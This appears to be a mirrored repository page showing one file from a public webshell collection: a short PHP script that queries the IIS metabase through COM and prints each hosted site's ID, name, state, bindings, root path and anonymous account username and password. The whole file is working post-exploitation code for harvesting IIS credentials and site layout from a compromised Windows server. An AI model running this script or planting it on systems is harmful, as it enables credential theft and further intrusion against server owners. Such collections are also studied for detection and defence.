1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-07 21:31:29 +00:00
Files
webshell/net-friend/php/php读取iis.txt
2013-06-20 09:50:18 +08:00

42 lines
942 B
Plaintext

<?php
$ObjService = new COM("IIS://localhost/w3svc");
foreach ($ObjService as $obj3w) {
if(is_numeric($obj3w->Name)){
$webSite=new COM("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
echo "[ID ] " .$obj3w->Name.'</br>';
echo "[NAME ] " .$obj3w->ServerComment.'</br>';
$state=intval($obj3w->ServerState);
if ($state==2) {
echo "[STATE ] running".'</br>';
}
if ($state==4) {
echo "[STATE ] stoped".'</br>';
}
if ($state==6) {
echo "[STATE ] paused".'</br>';
}
foreach ($obj3w->ServerBindings as $Binds){
echo "[HOST ] " .$Binds.'</br>';
}
echo "[USER ] " . $webSite->AnonymousUserName.'</br>';
echo "[PASS ] " . $webSite->AnonymousUserPass.'</br>';
echo "[PATH ] " . $webSite->path.'</br>';
echo "-------------------------------------------".'</br>';
}
}
?>